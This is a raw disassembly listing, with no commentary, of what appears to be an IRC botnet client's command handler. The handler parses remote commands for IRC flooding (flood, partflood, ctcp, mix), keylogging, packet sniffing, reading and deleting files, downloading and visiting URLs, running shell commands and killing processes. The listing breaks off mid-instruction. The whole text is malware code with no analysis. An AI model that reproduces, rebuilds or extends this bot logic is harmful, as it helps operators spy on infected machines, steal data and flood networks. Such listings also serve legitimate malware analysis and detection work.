[ebp+var_14F8] push offset aF ; "#f" push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push edi push 10h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C4] push offset unk_42B9F0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B3BA add esp, 18h mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset byte_40BB65 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_404BA0 loc_404B8A: ; CODE XREF: sub_401ACD+30D1j cmp [ebp+var_13E0], ebx jnz loc_4081AD push 32h nop call near ptr 2670EEFh jmp short loc_404B8A ; --------------------------------------------------------------------------- loc_404BA0: ; CODE XREF: sub_401ACD+30BBj call near ptr 26808B7h nop push eax push offset unk_42B9B0 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aRin ; "rin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4057B7 nop call near ptr 2690648h push eax call sub_41C2B8 push edi push offset aLoad ; "load" call sub_41CA50 add esp, 0Ch test eax, eax jnz short loc_404CB7 cmp [ebp+esi+var_80], ebx jz short loc_404CB7 push [ebp+esi+var_80] call sub_41C159 pop ecx push eax push [ebp+esi+var_84] call sub_41C159 pop ecx push eax push [ebp+esi+var_88] call sub_417E06 add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B948 push eax call sub_41C266 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CB7 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_404CB7: ; CODE XREF: sub_401ACD+3173j ; sub_401ACD+3179j ... push edi push offset dword_42B944 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D21 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D21 push offset asc_42CDD0 ; " " push offset dword_42B940 push eax call sub_41843B push eax lea eax, [ebp+var_47F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B930 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D21: ; CODE XREF: sub_401ACD+31F9j ; sub_401ACD+3204j push edi push offset dword_42B92C call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D8B mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D8B push offset asc_42CDD0 ; " " push offset dword_42B940 push eax call sub_41843B push eax lea eax, [ebp+var_4AF4] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B918 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D8B: ; CODE XREF: sub_401ACD+3263j ; sub_401ACD+326Ej push edi push offset aNt ; "nt" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404DF5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DF5 push offset asc_42CDD0 ; " " push offset dword_42B940 push eax call sub_41843B push eax lea eax, [ebp+var_48F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404DF5: ; CODE XREF: sub_401ACD+32CDj ; sub_401ACD+32D8j push edi push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E5F mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E5F push offset asc_42CDD0 ; " " push offset dword_42B940 push eax call sub_41843B push eax lea eax, [ebp+var_4FF8] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404E5F: ; CODE XREF: sub_401ACD+3337j ; sub_401ACD+3342j push edi push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E9C mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404E9C push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404E9C: ; CODE XREF: sub_401ACD+33A1j ; sub_401ACD+33ACj push edi push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404ED9 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404ED9 push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404ED9: ; CODE XREF: sub_401ACD+33DEj ; sub_401ACD+33E9j push edi push offset aPartflood ; "partflood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F1B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F1B push offset dword_427620 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404F1B: ; CODE XREF: sub_401ACD+341Bj ; sub_401ACD+3426j push edi push offset aPnick ; "pnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F92 cmp [ebp+esi+var_88], ebx jz short loc_404F92 nop call near ptr 2690648h push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42B8A8 push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C4] push offset dword_42B8A0 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404F92: ; CODE XREF: sub_401ACD+345Dj ; sub_401ACD+3466j push edi push offset dword_42B894 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4050E9 cmp [ebp+esi+var_88], ebx jz loc_4050E9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427620 push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2670EEFh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2670EEFh push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 0C8h idiv ecx push edx nop call near ptr 2670EEFh push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4050E9: ; CODE XREF: sub_401ACD+34D4j ; sub_401ACD+34E1j push edi push offset dword_42B890 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405181 cmp [ebp+esi+var_88], ebx jz short loc_405181 nop call near ptr 2690648h push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B868 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 24h loc_405181: ; CODE XREF: sub_401ACD+362Bj ; sub_401ACD+3638j push edi push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405289 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405289 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F lea eax, [ebp+var_4BC] push eax call sub_417E84 add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B8A0 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2670EEFh lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B8A0 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 1F4h idiv ecx push edx nop call near ptr 2670EEFh lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B8A0 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_405289: ; CODE XREF: sub_401ACD+36C3j ; sub_401ACD+36D2j push edi push offset aChgnick ; "chgnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4052CE lea eax, [ebp+var_180C] push eax call sub_417E84 pop ecx lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C4] push offset dword_42B8A0 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4052CE: ; CODE XREF: sub_401ACD+37CBj push edi push offset aMsg ; "msg" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4053C3 cmp [ebp+esi+var_88], ebx jz loc_4053C3 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset dword_42B930 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2670EEFh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B930 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2670EEFh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B930 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4053C3: ; CODE XREF: sub_401ACD+3810j ; sub_401ACD+381Dj push edi push offset aNotice_0 ; "notice" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4054B8 cmp [ebp+esi+var_88], ebx jz loc_4054B8 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2670EEFh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2670EEFh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4054B8: ; CODE XREF: sub_401ACD+3905j ; sub_401ACD+3912j push edi push offset aCtcp ; "ctcp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4055D9 cmp [ebp+esi+var_88], ebx jz loc_4055D9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B820 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2670EEFh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B808 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2670EEFh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7F0 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 2670EEFh nop push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7F0 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4055D9: ; CODE XREF: sub_401ACD+39FAj ; sub_401ACD+3A07j push edi push offset aMix ; "mix" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405709 cmp [ebp+esi+var_88], ebx jz loc_405709 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B820 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2670EEFh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call near ptr 2670EEFh nop push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2670EEFh push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_405709: ; CODE XREF: sub_401ACD+3B1Bj ; sub_401ACD+3B28j push edi push offset aRegister ; "register" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40574D mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40574D push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj ; sub_401ACD+3C56j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40619B mov [ebp+arg_18], offset dword_4D4A6C loc_405769: ; CODE XREF: sub_401ACD+3CC0j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577F mov eax, [eax] cmp eax, ebx jbe short loc_40577F push eax call dword_4CBA7C loc_40577F: ; CODE XREF: sub_401ACD+3CA3j ; sub_401ACD+3CA9j add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4DB18C jl short loc_405769 cmp [ebp+var_8], ebx jnz loc_40619B push ebx push [ebp+var_4] push offset unk_42B790 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_40619B ; --------------------------------------------------------------------------- loc_4057B7: ; CODE XREF: sub_401ACD+3151j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aN ; "n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aJ ; "j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aPt ; "pt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aRaw ; "raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aPr ; "pr" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aOpen ; "open" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aO ; "o" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aServer ; "server" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aSe ; "se" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aDns ; "dns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aDn ; "dn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKp ; "kp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKill ; "kill" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aKi ; "ki" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aDel ; "del" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aGet ; "get" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aGt ; "gt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aList ; "list" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aLi ; "li" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aVisit ; "visit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aV ; "v" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aCm ; "cm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aRf ; "rf" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C9F push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C67 push 20h call sub_40B602 test eax, eax pop ecx jle short loc_405B91 push offset dword_42B694 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405B91: ; CODE XREF: sub_401ACD+40B8j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD3 mov esi, offset aF_1 ; "#f" push offset byte_43DB98 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405BD3 mov esi, [ebp+var_88] loc_405BD3: ; CODE XREF: sub_401ACD+40E8j ; sub_401ACD+40FEj push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B664 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B3BA add esp, 14h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset byte_412B61 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_405C56 loc_405C40: ; CODE XREF: sub_401ACD+4187j cmp [ebp+var_ECC], ebx jnz loc_4081AD push 32h nop call near ptr 2670EEFh jmp short loc_405C40 ; --------------------------------------------------------------------------- loc_405C56: ; CODE XREF: sub_401ACD+4171j call near ptr 26808B7h nop push eax push offset dword_42B628 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C67: ; CODE XREF: sub_401ACD+40A8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 20h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405C95 push eax push offset dword_42B5EC jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C95: ; CODE XREF: sub_401ACD+41BBj push offset dword_42B5C0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405C9F: ; CODE XREF: sub_401ACD+4093j push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DEF push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DB7 push 21h call sub_40B602 test eax, eax pop ecx jle short loc_405CE1 push offset unk_42B598 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405CE1: ; CODE XREF: sub_401ACD+4208j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D23 mov esi, offset aF_1 ; "#f" push offset byte_43DB98 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405D23 mov esi, [ebp+var_88] loc_405D23: ; CODE XREF: sub_401ACD+4238j ; sub_401ACD+424Ej push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B56C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B3BA add esp, 14h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131EC push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_405DA6 loc_405D90: ; CODE XREF: sub_401ACD+42D7j cmp [ebp+var_E38], ebx jnz loc_4081AD push 32h nop call near ptr 2670EEFh jmp short loc_405D90 ; --------------------------------------------------------------------------- loc_405DA6: ; CODE XREF: sub_401ACD+42C1j nop call near ptr 26808B7h push eax push offset unk_42B530 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DB7: ; CODE XREF: sub_401ACD+41F8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 21h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405DE5 push eax push offset unk_42B4F4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DE5: ; CODE XREF: sub_401ACD+430Bj push offset unk_42B4C8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405DEF: ; CODE XREF: sub_401ACD+41E3j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405EC2 push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405E8A push 2 call sub_40B602 test eax, eax pop ecx jle short loc_405E2D push offset dword_42B4A0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405E2D: ; CODE XREF: sub_401ACD+4354j lea eax, [ebp+var_2C4] push offset dword_42B474 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_410BFD push ebx push ebx nop call near ptr 2680000h imul esi, 234h cmp eax, ebx mov dword_43E934[esi], eax jnz loc_4081AD nop call near ptr 26808B7h push eax push offset dword_42B440 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405E8A: ; CODE XREF: sub_401ACD+4348j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 2 call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405EB8 push eax push offset dword_42B408 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405EB8: ; CODE XREF: sub_401ACD+43DEj push offset dword_42B3E8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405EC2: ; CODE XREF: sub_401ACD+4333j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408D24 push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408CFB push [ebp+arg_8] push offset aNet ; "net" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40616D cmp dword_4CBAB4, ebx jz short loc_405F4F cmp dword_4CBADC, ebx jz short loc_405F4F push offset unk_42B390 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405F4F: ; CODE XREF: sub_401ACD+446Ej ; sub_401ACD+4476j cmp [ebp+var_C], ebx jz loc_406BFE mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F77 push eax push [ebp+var_C] call sub_41C2E0 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F77: ; CODE XREF: sub_401ACD+449Aj push edi push offset aStart ; "start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FC3 cmp [ebp+arg_18], ebx jz short loc_405F97 push [ebp+arg_0] push 3 jmp loc_406021 ; --------------------------------------------------------------------------- loc_405F97: ; CODE XREF: sub_401ACD+44BEj push [ebp+var_4] push [ebp+var_88] push 